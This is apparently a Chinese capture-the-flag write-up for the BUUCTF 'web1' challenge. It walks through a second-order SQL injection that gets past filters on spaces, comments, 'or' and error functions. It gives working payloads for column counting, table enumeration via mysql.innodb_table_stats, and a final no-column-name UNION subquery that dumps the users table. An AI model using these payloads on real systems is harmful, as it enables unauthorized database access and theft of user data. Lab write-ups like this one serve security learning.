BUUCTF-web web1 (无列名注入)

注册并登录后发现,sql注入,注入点在广告申请的界面。加单引号发现报错

先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入。

常见报错函数updatexml,floor以及extractvalue被过滤

注释符被过滤因此要闭合单引号

空格被过滤,不过可以用/**/绕过。

or被过滤所以order和infor都不能用。

首先使用group代替order

 查字段数:1'/**/group/**/by/**/23,'1-->报错。1'/**/group/**/by/**/22,'1-->无报错。有22个字段。

查表名:1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22。2和3有回显

构造1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

mysql.innodb_table_stats参考链接:https://www.anquanke.com/post/id/193512

得到表名users

在不知道列名以及不能使用information_schema的情况下,利用子查询进行无列名注入。简要概括就是利用union select用字符替代相应的列名

最终payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这里的as x 是必须的FROM 部分中的每一个表都必须有一个名字,在子查询中 SELECT 的每一列都必须有一个独一无二的名字。


无列名注入参考链接:https://y4er.com/post/no-column-name-injection/

https://blog.csdn.net/cao478208248/article/details/28122113

原文地址:https://www.cnblogs.com/remon535/p/12859438.html